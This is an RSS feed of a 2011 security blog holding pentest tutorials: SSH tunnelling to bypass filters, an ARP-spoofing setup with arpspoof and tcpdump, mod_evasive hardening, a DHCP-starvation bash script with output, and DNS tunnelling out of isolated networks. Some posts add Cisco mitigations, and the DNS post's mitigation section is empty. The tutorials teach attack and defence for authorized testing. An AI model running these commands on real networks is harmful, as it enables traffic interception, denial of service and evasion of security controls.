<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Think Security</title>
	<atom:link href="http://think-security.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://think-security.com</link>
	<description>Information Security Resources and IT Professional Services</description>
	<lastBuildDate>Mon, 25 Jul 2011 10:48:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Digging tunnels with SSH</title>
		<link>http://think-security.com/digging-tunnels-with-ssh/</link>
		<comments>http://think-security.com/digging-tunnels-with-ssh/#comments</comments>
		<pubDate>Sun, 30 Jan 2011 20:32:41 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Client Security]]></category>
		<category><![CDATA[Internal Network]]></category>
		<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[Security Guides]]></category>
		<category><![CDATA[avoid port restrictions]]></category>
		<category><![CDATA[bypass content filtering]]></category>
		<category><![CDATA[bypass filtering]]></category>
		<category><![CDATA[bypass firewalls]]></category>
		<category><![CDATA[proxycommand corkscrew]]></category>
		<category><![CDATA[ssh port forward]]></category>
		<category><![CDATA[ssh socks]]></category>
		<category><![CDATA[ssh tunnel]]></category>
		<category><![CDATA[transparent socks]]></category>
		<category><![CDATA[tsocks]]></category>
		<category><![CDATA[tunneling through ssh]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=66</guid>
		<description><![CDATA[SSH tunnels are an old trick, which is recently getting increasingly popular with all this content filtering happening at the corporate or even at the national level. This article demonstrates how to use SSH tunnels, bypass content filters and avoid port restrictions, even through HTTP proxy servers. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/digging-tunnels-with-ssh/">Digging tunnels with SSH</a></span>]]></description>
			<content:encoded><![CDATA[<p>SSH tunnels are an old trick, which is recently getting increasingly popular with all this content filtering happening at the corporate or even at the national level. This article demonstrates how to use SSH tunnels, bypass content filters and avoid port restrictions, even through HTTP proxy servers.</p>
<p>No time to waste, we will keep this article short and to the point. Tunneling modes:</p>
<p><span class="notranslate"><strong>Local</strong> or <strong>-L &lt;local port&gt;:&lt;remote host&gt;:&lt;remote port&gt;</strong></span></p>
<p>This mode allows you to bind a port on your side of the SSH connection and if you connect to it, your connection will be forwarded to the <span class="notranslate"><strong>remote host</strong></span> on <span class="notranslate"><strong>remote port</strong></span>. For <span class="notranslate"><strong>remote host</strong></span>&#8216;s point of view, the connection will seem to originate from the machine or device that you have SSH-ed into, therefore you can use that method to reach hosts and ports unreachable to you, but reachable from the server that you have SSH-ed into. This will be useful if you want to access the intranet web server at your office, but you only have SSH access to another server &#8211; in this case you would use <span class="notranslate"><strong>ssh -L 8080:&lt;intranet web server&gt;:80 &lt;another server with ssh&gt;</strong></span> and then you will open <span class="notranslate"><strong>http://127.0.0.1:8080/</strong></span> in your browser. You can further extend that access to the local LAN that you are in if you type <span class="notranslate"><strong>ssh -L 192.168.1.100:8080:&lt;intranet web server&gt;:80 &lt;another server with ssh&gt;</strong></span> (assuming that 192.168.1.100 is your IP in the local LAN) which will allow everyone in the local LAN to access the intranet web server by typing <span class="notranslate"><strong>http://192.168.1.100:8080/</strong></span> in their browsers.</p>
<p><span class="notranslate"><strong>Remote</strong> or <strong>-R &lt;remote port&gt;:&lt;local host&gt;:&lt;local port&gt;</strong></span></p>
<p>Well, the remote more allows you to do just the opposite &#8211; with this mode you can SSH into a remote server and listen for connections on <span class="notranslate"><strong>remote port</strong></span>. Then if someone connects to that port, the connection will be forwarded to <span class="notranslate"><strong>local host</strong></span> on <span class="notranslate"><strong>local port</strong></span>, where <span class="notranslate"><strong>local host</strong></span> is a machine which is accessible from your workstation or from wherever you are running the command. From <span class="notranslate"><strong>local host</strong></span>&#8216;s point of view, the connection will be originating from your workstation. If we use the example from above, and for the sake of the example we will assume that you are abroad and you need to access the intranet web server, but SSH connections are not allowed from the Internet &#8211; then a colleague of yours can SSH into a server in the Internet with the following command <span class="notranslate"><strong>ssh -R 8080:&lt;intranet web server&gt;:80 &lt;internet ssh server&gt;</strong></span>, thus granting you with access to the <span class="notranslate"><strong>intranet web server</strong></span>, if you manage to access port 8080 on the <span class="notranslate"><strong>internet ssh server</strong></span>. The tricky part here will be that by default your newly created listener on port 8080 will be bound to the loopback address, otherwise known as 127.0.0.1. This is for security and can be changed by setting the <span class="notranslate"><strong>GatewayPorts</strong></span> option of the SSH server running on the <span class="notranslate"><strong>internet ssh server</strong></span> to either <span class="notranslate"><strong>yes</strong></span> or <span class="notranslate"><strong>clientspecified</strong></span>. Ofcourse the other way around this will be for you to create a local tunnel by running <span class="notranslate"><strong>ssh -L 8080:127.0.0.1:8080 &lt;internet ssh server&gt;</strong></span> and then open <span class="notranslate"><strong>http://127.0.0.1:8080/</strong></span> in your browser.</p>
<p><span class="notranslate"><strong>SOCKS proxy mode</strong> or <strong>-D 1080</strong></span></p>
<p>This will create a <span class="notranslate"><strong>SOCKS proxy</strong></span> server on your workstation and will allow you to point your browser or any SOCKS proxy aware program to it, thus avoiding content filtering or port filtering at your end and also securing your traffic with an additional layer of encryption. A little trick that you could utilize with this method, if the program that you need to run is not SOCKS aware, would be to use the <span class="notranslate"><strong>tsocks</strong></span> package available in most modern distributions. What this little software does is to transparently intercept all connections that your program creates and then forward the to the SOCKS server. In Ubuntu you can install it by running <span class="notranslate"><strong>$ sudo apt-get install tsocks</strong></span> and then you need to tweak the options in <span class="notranslate"><strong>/etc/tsocks.conf</strong></span> by setting <span class="notranslate"><strong>server = 127.0.0.1</strong>, <strong>server_type = 4</strong> and <strong>server_port = 1080</strong></span>. Now when you start your program just type <span class="notranslate"><strong>tsocks</strong></span> in the beginning of the command line, which will do set <span class="notranslate"><strong>LD_PRELOAD</strong></span> to dynamically load the <span class="notranslate"><strong>tsocks</strong></span> library responsible for the interception of the connections.</p>
<p>And speaking of tricks, in corporate environments you will frequently find yourself in a situation where the only Internet access that you can get your hands on will be through a <span class="notranslate"><strong>HTTP proxy</strong></span>. Fear not, as <span class="notranslate"><strong>corkscrew</strong></span> comes to the rescue! This simple tool uses the <span class="notranslate"><strong>CONNECT</strong></span> method, implemented by all proxies for connecting to SSL encrypted sites, to establish a TCP connection through the proxy. Just install the package by typing <span class="notranslate"><strong>$ sudo apt-get install corkscrew</strong></span> and the append <span class="notranslate"><strong>-o ProxyCommand corkscrew &lt;proxy server IP&gt; &lt;proxy server port&gt; %h %p</strong></span> to your ssh command. Here you will have to keep in mind the some of the proxies only allow the <span class="notranslate"><strong>CONNECT</strong></span> method to be used on port 443, so it might be a good idea to have an SSH server running on port 443 &#8211; just in case. And ofcourse that if you are running the SSH server on any port different than 22 (443 for example), don&#8217;t forget to specify the correct SSH server port by appending <span class="notranslate"><strong>-p &lt;SSH server port&gt;</strong></span> to your ssh command.</p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/digging-tunnels-with-ssh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ARP spoofing attack and defense</title>
		<link>http://think-security.com/arp-spoofing-attack-and-defense/</link>
		<comments>http://think-security.com/arp-spoofing-attack-and-defense/#comments</comments>
		<pubDate>Sat, 11 Dec 2010 11:49:34 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Internal Network]]></category>
		<category><![CDATA[Layer 2]]></category>
		<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[apr]]></category>
		<category><![CDATA[arp poison routing]]></category>
		<category><![CDATA[arp posioning]]></category>
		<category><![CDATA[arp spoofing]]></category>
		<category><![CDATA[cain & abel]]></category>
		<category><![CDATA[dhcp snooping]]></category>
		<category><![CDATA[dynamic arp inspection]]></category>
		<category><![CDATA[Layer 2 attack]]></category>
		<category><![CDATA[mac address]]></category>
		<category><![CDATA[main-in-the-middle]]></category>
		<category><![CDATA[mitm]]></category>
		<category><![CDATA[port security]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=61</guid>
		<description><![CDATA[As described in Wikipedia, <a title="ARP spoofing" href="http://en.wikipedia.org/wiki/ARP_spoofing" target="_blank"><strong>ARP spoofing</strong></a> (otherwise known as <strong><a href="http://en.wikipedia.org/wiki/Address_Resolution_Protocol">ARP</a></strong> poisoning or Arp Poison Routing - APR) is a <strong><a title="Layer 2" href="http://en.wikipedia.org/wiki/Data_Link_Layer" target="_blank">Layer 2</a></strong> attack that can be carried out in most internal networks and therefore is extremely dangerous. It's main purpose is to sniff the communication of a client talking to a server, by intercepting or even modifying the traffic in order to decrypt the already encrypted traffic. This article will guide you through the process of understanding, demonstrating and protecting your network against this attack. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/arp-spoofing-attack-and-defense/">ARP spoofing attack and defense</a></span>]]></description>
			<content:encoded><![CDATA[<p>As described in Wikipedia, <a title="ARP spoofing" href="http://en.wikipedia.org/wiki/ARP_spoofing" target="_blank"><strong>ARP spoofing</strong></a> (otherwise known as <strong><a href="http://en.wikipedia.org/wiki/Address_Resolution_Protocol" target="_blank">ARP</a></strong> poisoning or Arp Poison Routing &#8211; APR) is a <strong><a title="Layer 2" href="http://en.wikipedia.org/wiki/Data_Link_Layer" target="_blank">Layer 2</a></strong> attack that can be carried out in most internal networks and therefore is extremely dangerous. It&#8217;s main purpose is to sniff the communication of a client talking to a server, by intercepting or even modifying the traffic in order to decrypt the already encrypted traffic. This article will guide you through the process of understanding, demonstrating and protecting your network against this attack.</p>
<p>Before demonstrating ARP spoofing, we need to explain how does ARP work in the first place and in order to illustrate it we will use the client A (with IP 192.168.1.20 and netmask 255.255.255.0) and the server B (with IP 192.168.1.10 and netmask 255.255.255.0). Let&#8217;s say that client A wants to communicate to server B and all it knows is it&#8217;s IP address, however in order to communicate with it on Layer 2, it needs to know it&#8217;s <strong><a href="http://en.wikipedia.org/wiki/MAC_address" target="_blank">MAC address</a></strong> and therefore it sends and ARP request on the broadcast address FF:FF:FF:FF:FF:FF asking the machine with IP address 192.168.1.10 to respond with it&#8217;s MAC address. Sure enough, server B receives the ARP request and send an ARP reply which says that server B is the owner of the IP address 192.168.1.10 and his MAC is 10:10:10:10:10:10. Now when client A knows the MAC address of server B, it can send packets to server B and hope that server B will be the only machine that is receiving them (this is supposedly the case with all Layer 2 switches).</p>
<p>The explanation above relates to the case where the client and the server (or any other two network devices that wish to communicate) are in the same network. When they are not in the same network (let&#8217;s say server B is with IP address 10.10.10.10 and gateway C is with IP address 192.168.1.1), the process of Layer 2 communication is almost the same, with the exception that instead of asking for the MAC address of the server, client A will ask for the MAC address of the gateway. After the gateway responds with it&#8217;s MAC address, client A will send all packets directed to server B to the gateway, hoping that it will know better how to deliver them to server B.</p>
<h2>Scenario</h2>
<p>OK, enough with the boring stuff, let&#8217;s throw in an attacker D (or a pentester for that matter, they will do the same) who want to intercept the traffic between client A and server B, which are communicating through gateway C. The attacker D will be placed in the same network segment as client A and gateway C so we will be using the following addresses for the explanation:</p>
<p>- client A, IP: 192.168.1.20, netmask 255.255.255.0, gateway 192.168.1.1, MAC: 10:10:10:10:10:10<br />
- server B, IP: 10.10.10.10, netmask, gateway and MAC are irrelevant<br />
- gateway C, IP: 192.168.1.1, netmask 255.255.255.0, MAC: 01:01:01:01:01:01<br />
- attacker D, IP: 192.168.1.30, netmask 255.255.255.0, gateway 192.168.1.1, MAC: 30:30:30:30:30:30</p>
<p>Now, what the attacker will want to do is to convince client A that the MAC address of gateway C is not 01:01:01:01:01:01 but 30:30:30:30:30:30. He will also want to make sure that gateway C thinks that the MAC address of client A is not 10:10:10:10:10:10 but is again 30:30:30:30:30:30. This way, attacker D will intercept all communication from client A to the outside world and the only thing that he needs to make sure is that he forwards the packets, so that client A will never know that anything suspicious is happening.</p>
<p>Fast forward to the lab, we have the client, server and gateway setup in the way described above and additionally we will introduce an attacker who is running <strong><a href="http://www.backtrack-linux.org/" target="_blank">Backtrack</a></strong> and is connected to the same network as client A and gateway C. So in order to intercept the traffic, the attacker will have to execute the following commands:<br />
<code><br />
# echo 1 &gt; /proc/sys/net/ipv4/ip_forward<br />
</code><br />
With the command above, he will ensure that all packets that are forwarded to his workstation will be then forwarded to their original destination, otherwise the client will not be able to communicate to anyone and will suspect that something is going on.<br />
<code><br />
# arpspoof -t 192.168.1.1 192.168.1.10<br />
# arpspoof -t 192.168.1.10 192.168.1.1<br />
</code><br />
These will ensure that client A will send to attacker D all packets otherwise meant for gateway C (server B falls into this account) and vice versa. Now all that is left for the attacker to do is to run tcpdump or <a href="http://www.wireshark.org/" target="_blank">wireshark</a> and record / analyze / sniff the communications:<br />
<code><br />
# tcpdump -ni eth0 host 192.168.1.10 and host 10.10.10.10<br />
</code></p>
<p>In some of the articles to follow, we will utilize <a href="http://www.oxid.it/cain.html" target="_blank">Cain &amp; Abel</a> to perform even more sophisticated <a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack" target="_blank">main-in-the-middle attacks</a>, which will illustrate how easy it is to break encrypted protocols, if they are not configured properly.</p>
<h2>Mitigation</h2>
<p>Unfortunately, the mitigation of this attack is much harder than the attack itself. Cisco has developed a couple of countermeasures to fight with different Layer 2 attacks, and you will need to make use of all of them in order to be fully protected:<br />
- DHCP snooping<br />
- Dynamic ARP Inspection<br />
- Port Security</p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/arp-spoofing-attack-and-defense/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Protect your Apache web server with mod_evasive</title>
		<link>http://think-security.com/protect-your-apache-web-server-with-mod_evasive/</link>
		<comments>http://think-security.com/protect-your-apache-web-server-with-mod_evasive/#comments</comments>
		<pubDate>Sat, 06 Nov 2010 16:20:06 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Security Guides]]></category>
		<category><![CDATA[Web Server Security]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[apache module]]></category>
		<category><![CDATA[application firewall]]></category>
		<category><![CDATA[internet security]]></category>
		<category><![CDATA[ips appliance]]></category>
		<category><![CDATA[ips solutions]]></category>
		<category><![CDATA[mod_evasive]]></category>
		<category><![CDATA[web application security]]></category>
		<category><![CDATA[web server]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=22</guid>
		<description><![CDATA[Mod_evasive is an Apache module that is designed to limit the impact of different types of attacks (like DDoS, scripted or brute force) on your web site/server. When integrated with iptables, mod_evasive can stand up to even larger attacks. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/protect-your-apache-web-server-with-mod_evasive/">Protect your Apache web server with mod_evasive</a></span>]]></description>
			<content:encoded><![CDATA[<p>Mod_evasive is an <a href="http://httpd.apache.org/" target="_blank">Apache</a> module that is designed to limit the impact of different types of attacks (like <a href="http://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DDoS</a>, scripted or brute force) on your web site/server. When integrated with iptables, mod_evasive can stand up to even larger attacks.The module detects attacks by creating an internal hash of IP Addresses and URIs, and denying any single IP address from performing any of the following actions:</p>
<ul>
<li>request a page more than the allowed times per second</li>
<li>make more than 50 concurrent requests per second on the same child process</li>
<li>make a single request while blacklisted</li>
</ul>
<p>On <a href="http://www.debian.org/" target="_blank">Debian</a> or <a href="http://www.ubuntu.com/" target="_blank">Ubuntu</a> systems the installation is as easy as typing:</p>
<p><code>$ sudo apt-get install libapache2-mod-evasive</code></p>
<p>Once you do that, the module is already enabled and is protecting your web server. If you need to change the default thresholds, you need to insert the following lines in httpd.conf:</p>
<p><code><br />
&lt;IfModule mod_evasive20.c&gt;<br />
DOSHashTableSize 3097<br />
DOSPageCount 2<br />
DOSSiteCount 50<br />
DOSPageInterval 1<br />
DOSSiteInterval 1<br />
DOSBlockingPeriod 300<br />
&lt;/IfModule&gt;<br />
</code></p>
<p>This following options can tweak the behavior of the module:</p>
<ul>
<li><strong>DOSHashTableSize</strong> &#8211; The hash table size defines the number of top-level nodes for each child&#8217;s hash table. Increasing this number will provide faster performance by decreasing the number of iterations required to get to the record, but consume more memory for table space. You should increase this if you have a busy web server. The value you specify will automatically be tiered up to the next prime number in the primes list (see mod_evasive.c for a list of primes used).</li>
<li><strong>DOSPageCount</strong> &#8211; This is the threshold for the number of requests for the same page (or URI) per page interval. Once the threshold for that interval has been exceeded, the IP address of the client will be added to the blocking list.</li>
<li><strong>DOSSiteCount</strong> &#8211; This is the threshold for the total number of requests for any object by the same client on the same listener per site interval. Once the threshold for that interval has been exceeded, the IP address of the client will be added to the blocking list.</li>
<li><strong>DOSPageInterval</strong> &#8211; The interval for the page count threshold; defaults to 1 second intervals.</li>
<li><strong>DOSSiteInterval</strong> &#8211; The interval for the site count threshhold; defaults to 1 second intervals.</li>
<li><strong>DOSBlockingPeriod</strong> &#8211; The blocking period is the amount of time (in seconds) that a client will be blocked for if they are added to the blocking list. During this time, all subsequent requests from the client will result in a 403 (Forbidden) and the timer being reset (e.g. another 10 seconds). Since the timer is reset for every subsequent request, it is not necessary to have a long blocking period; in the event of a DoS attack, this timer will keep getting reset.</li>
<li><strong>DOSEmailNotify</strong> &#8211; If this value is set, an email will be sent to the address specified whenever an IP address becomes blacklisted. A locking mechanism using /tmp prevents continuous emails from being sent.</li>
<li><strong>DOSSystemCommand</strong> &#8211; If this value is set, the system command specified will be executed whenever an IP address becomes blacklisted. This is designed to enable system calls to ip filter or other tools. A locking mechanism using /tmp prevents continuous system calls. Use %s to denote the IP address of the blacklisted IP.</li>
</ul>
<p>The last option is one of the most interesting, as it allows you to call iptables and filter the attacker&#8217;s IP address. Have fun experimenting with this great <strong>Apache</strong> module!</p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/protect-your-apache-web-server-with-mod_evasive/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DHCP starvation &#8211; quick and dirty</title>
		<link>http://think-security.com/dhcp-starvation-quick-and-dirty/</link>
		<comments>http://think-security.com/dhcp-starvation-quick-and-dirty/#comments</comments>
		<pubDate>Sat, 02 Oct 2010 10:31:04 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Internal Network]]></category>
		<category><![CDATA[Layer 2]]></category>
		<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[dhcp server]]></category>
		<category><![CDATA[dhcp snooping]]></category>
		<category><![CDATA[dhcp spoofing]]></category>
		<category><![CDATA[dhcp starvation]]></category>
		<category><![CDATA[dhcp starvation protection]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=14</guid>
		<description><![CDATA[The <a href="http://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">DHCP</a> starvation attack is quite simple to implement and therefore quite dangerous, especially if it grows to a <strong>DHCP</strong> spoofing attack. It can be used to implement a Denial of Service (DoS) attack against the <strong>DHCP</strong> server on the local network, thus preventing legitimate clients from accessing network resources. In this article we will demonstrate how this attack can be deployed and later we will go through the steps necessary to mitigate it on <a href="http://www.cisco.com/">Cisco</a> equipment with the help of <strong>DHCP</strong> snooping. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/dhcp-starvation-quick-and-dirty/">DHCP starvation &#8211; quick and dirty</a></span>]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol" target="_blank">DHCP</a> starvation attack is quite simple to implement and therefore quite dangerous, especially if it grows to a <strong>DHCP</strong> spoofing attack. It can be used to implement a Denial of Service (DoS) attack against the <strong>DHCP</strong> server on the local network, thus preventing legitimate clients from accessing network resources. In this article we will demonstrate how this attack can be deployed and later we will go through the steps necessary to mitigate it on <a href="http://www.cisco.com/" target="_blank">Cisco</a> equipment with the help of <strong>DHCP</strong> snooping.</p>
<h2>Scenario</h2>
<p>The idea behind <strong>DHCP</strong> starvation is to make dummy leases for all IPs in the <strong>DHCP</strong> range. This will effectively cause a <a href="http://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a>, as all new network clients that request an IP address from the <strong>DHCP</strong> server, will not be served, as there will be no free IP addresses to lease. Depending on the lease time configured on the <strong>DHCP</strong> server, the effect of the attack will last as long as the time required for the leases to expire.</p>
<p>This attack can be automatically performed with <a name="yersinia" href="http://www.yersinia.net/" target="_blank"></a>yersinia, but for demonstration purposes we will use a quick and dirty script that only uses <a name="macchanger" href="http://www.alobbs.com/macchanger" target="_blank"></a>macchanger and <a name="dhclient" href="http://linux.about.com/library/cmd/blcmdl8_dhclient.htm" target="_blank"></a>dhclient.</p>
<p><tt>macchanger</tt> is a great tool that just makes what it says in it&#8217;s name &#8211; it changes the MAC address of your network interface. <tt>dhclient</tt> on the other hand is the standard tool present in almost any Linux distribution, which is used for leasing an IP address from a <strong>DHCP</strong> server, and renewing the lease when necessary.</p>
<p>To the point &#8211; the following bash script demonstrates step by step the way that such attack works:</p>
<pre>root@bt:~# cat starve.sh
#!/bin/bash

while true; do
   # kill all running dhcp clients - just in case
   killall dhclient
   rm -f /var/run/dhclient.pid

   # bring down the interface
   ifconfig eth0 down

   # change the MAC address of the interface and print the new MAC address
   macchanger -a eth0 2&gt;&amp;1 | grep Faked

   # bring the interface up
   ifconfig eth0 up

   # make a new DHCP lease
   dhclient eth0 2&gt;&amp;1 | grep DHCPACK
done
root@bt:~#</pre>
<p>The results from running this script, besides causing a <strong>DoS</strong> attack (for which you will be personally responsible unless you are authorized to perform penetration testing of the network resources involved), will look much like this:</p>
<pre>root@bt:~# ./starve.sh
dhclient: no process killed
Faked MAC:   00:0e:7b:63:fc:18 (Toshiba)
DHCPACK of 192.168.123.207 from 192.168.123.1
Faked MAC:   00:30:63:ec:24:fb (Santera Systems, Inc.)
DHCPACK of 192.168.123.208 from 192.168.123.1
Faked MAC:   00:0b:30:df:69:28 (Beijing Gongye Science &amp; Technology Co.,ltd)
Faked MAC:   00:0d:08:d3:d9:ad (Abovecable, Inc.)
Faked MAC:   00:05:20:49:1f:5a (Smartronix, Inc.)^C
root@bt:~#</pre>
<p>When you stop seeing DHCPACKs, this means that you have depleted the available leases of the DHCP server.</p>
<h2>Mitigation</h2>
<p>When IP allocation is done through <strong>DHCP</strong> servers, <strong>DHCP</strong> snooping can be configured on the switches to only allow clients with specific IP/MAC addresses to have access to the network.</p>
<p>Use the following commands to configure <strong>DHCP</strong> snooping:</p>
<p>To enable <strong>DHCP</strong> Snooping on a <strong>Cisco</strong> IOS switch, follow these steps:</p>
<pre>! To enables DHCP Snooping globally enter:
switch(config)# ip dhcp snooping
! To enable DHCP Snooping for specific VLANs enter:
switch(config)# ip dhcp snooping vlan &lt;vlan_id&gt; {,&lt;vlan_id&gt;}
! To set the interface to trusted state, which will allow passing DHCP replies enter:
switch(config-if)# ip dhcp snooping trust
! To set a rate limit for DHCP Snooping enter:
switch(config-if)# ip dhcp snooping limit rate &lt;rate&gt;</pre>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/dhcp-starvation-quick-and-dirty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IP over DNS</title>
		<link>http://think-security.com/ip-over-dns/</link>
		<comments>http://think-security.com/ip-over-dns/#comments</comments>
		<pubDate>Sun, 05 Sep 2010 10:50:40 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Internal Network]]></category>
		<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[bypass firewall]]></category>
		<category><![CDATA[covert channel]]></category>
		<category><![CDATA[dns tunnel]]></category>
		<category><![CDATA[iodine]]></category>
		<category><![CDATA[ip over dns]]></category>
		<category><![CDATA[NSTX]]></category>
		<category><![CDATA[nstx tunnel]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=6</guid>
		<description><![CDATA[Sometimes while you are performing a penetration test, you need to break out from a supposedly isolated network like an internal VLAN in a bank, or a process network full of <a href="http://en.wikipedia.org/wiki/SCADA">SCADA</a> equipment. Such networks should be completely isolated from the Internet, so there is no chance that someone who has network access can implant a backdoor and either sneak out information or allow access from the outside. This article demonstrates how the often overlooked DNS service can be used to build a covert channel and why when you configure an isolated network, you shouldn't allow even name resolution of external hosts. To demonstrate this we will use the NSTX tunnel software to build a dns tunnel and bypass firewall. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/ip-over-dns/">IP over DNS</a></span>]]></description>
			<content:encoded><![CDATA[<p>Sometimes while you are performing a penetration test, you need to break out from a supposedly isolated network like an internal <strong>VLAN</strong> in a bank, or a process network full of <a href="http://en.wikipedia.org/wiki/SCADA" target="_blank">SCADA</a> equipment. Such networks should be completely isolated from the Internet, so there is no chance that someone who has network access can implant a backdoor and either sneak out information or allow access from the outside. This article demonstrates how the often overlooked <strong>DNS</strong> service can be used to build a covert channel and why when you configure an isolated network, you shouldn&#8217;t allow even name resolution of external hosts. To demonstrate this we will use both the <strong>NSTX</strong> and <strong>Iodine</strong> tunnels to build a dns tunnel and bypass the potential firewall restrictions.</p>
<h2>Scenario 1</h2>
<p>A great tool to demonstrate this idea is <a href="http://savannah.nongnu.org/projects/nstx/" target="_blank">NSTX</a>. It allows you to tunnel IP packets inside <strong>DNS</strong> queries, thus bypassing all firewall restrictions. Experience shows that almost any network will have access to <strong>DNS</strong> servers and also most <strong>DNS</strong> servers by default have forwarders enabled. This will be your gateway to the Internet, provided that you have a domain name that is controlled by you and a server with a valid external IP address, that is currently not running <strong>DNS</strong>.</p>
<p>The magic that makes the whole thing work is a <strong>subdomain </strong>whose control is delegated to your server which will be running the <strong>NSTX</strong> daemon. The following <a href="http://www.isc.org/software/bind" target="_blank">BIND</a> configuration lines demonstrate this:</p>
<pre>$ORIGIN tunnel.example.com.
@               IN      NS      ns.tunnel.example.com.
ns              IN      A       1.2.3.4</pre>
<p>These configure the <strong>DNS</strong> server to forward all <strong>DNS</strong> queries for the records in tunnel.example.com to the <strong>DNS</strong> server (<strong>NSTX</strong> daemon) located on IP address 1.2.3.4. This way all queries for hosts like test.tunnel.example.com will be forwarded to your <strong>NSTX</strong> daemon running at 1.2.3.4. As you might have already guessed, the actual host request that is sent to the <strong>NSTX</strong> daemon is a Base64 encoded part of an IP packet. Just as the <strong>TXT</strong> record that you receive in reply.</p>
<p>For the actual implementation we&#8217;ll assume that you using a <a href="http://www.debian.org/" target="_blank">Debian</a> or <a href="http://www.ubuntu.com/" target="_blank">Ubuntu</a> distribution. You need to install the <strong>nstx</strong> package, which can be achieved with the following command:</p>
<pre>$ sudo apt-get install nstx</pre>
<p>Then you&#8217;ll have to add the following lines in /etc/network/interfaces on the server:</p>
<pre>iface tun0 inet static
address 10.0.0.1
pointopoint 10.0.0.2
netmask 255.255.255.255
mtu 512</pre>
<p>Swap the IP addresses when you modify /etc/network/interfaces on the client machine:</p>
<pre>iface tun0 inet static
address 10.0.0.2
pointopoint 10.0.0.1
netmask 255.255.255.255
mtu 512</pre>
<p>This will ensure that one the <strong>NSTX</strong> tunnel is up, you&#8217;ll have 10.0.0.1 on the server and 10.0.0.2 on the client side. You might tweak the <strong>mtu</strong> parameter for better performance, but with 512 bytes you should be fine.</p>
<p>The next thing that you&#8217;ll need to do is to modify /etc/defaults/nstx. On the server make sure that the following entries are uncommented:</p>
<pre>NSTX_DOMAIN="tunnel.example.com"
start_nstxd=yes
ifup_tun=tun0</pre>
<p>And on the client side:</p>
<pre>NSTX_DOMAIN="tunnel.example.com"
start_nstxcd=yes
ifup_tun=tun0</pre>
<p>And that&#8217;s it! When you start the <strong>NSTX</strong> daemon on the server:</p>
<pre>$ sudo /etc/init.d/nstxd start</pre>
<p>&#8230; and on the client &#8230;</p>
<pre>$ sudo /etc/init.d/nstxcd start</pre>
<p>&#8230; you should see a tunnel interface called tun0 that is up on both machines and you should be able to ping 10.0.0.1 from the client. From there you might want to enable <strong>NAT</strong> on your server and allow packets to be routed through it, but as this is a trivial task, I guess you can figure that out by yourself.</p>
<h2>Scenario 2</h2>
<p>Now, after you have already understood the principle of operation and the low level approach, we present you the easy way of digging <strong>DNS</strong> tunnels &#8211; by using iodine. Compared to <strong>NSTX</strong>, <strong>iodine</strong> has the following advantages:</p>
<p><strong>Higher performance</strong><br />
iodine uses the NULL type that allows the downstream data to be sent without encoding. Each DNS reply can contain over a kilobyte of compressed payload data.<br />
<strong>Portability</strong><br />
iodine runs on many different UNIX-like systems as well as on Win32. Tunnels can be set up between two hosts no matter their endianness or operating system.<br />
<strong>Security</strong><br />
iodine uses challenge-response login secured by MD5 hash. It also filters out any packets not coming from the IP used when logging in.<br />
<strong>Less setup</strong><br />
iodine handles setting IP number on interfaces automatically, and up to 16 users can share one server at the same time. Packet size is automatically probed for maximum downstream throughput.</p>
<p>Even though Iodine is much easier to use and it has clients for Windows, it seems that it is not that reliable as NSTX, as NSTX works in some networks where Iodine fails. This has probably something to do with the different types of DNS queries that are used by those two applications.</p>
<p>The immediately obvious advantages are the <strong>Windows</strong> client, the password protection and the much easier setup process. As <strong>iodine</strong> comes bundled in most Debian distributions, you can just install it using apt-get, or you can grab the latest stable <strong>Windows</strong> packages from <a href="http://code.kryo.se/iodine/iodine-0.5.1-win32.zip" target="_blank">here</a>. Please refer to the <a href="http://code.kryo.se/iodine/README.html" target="_blank">README</a> for some explanation on the usage.</p>
<h2>Mitigation</h2>
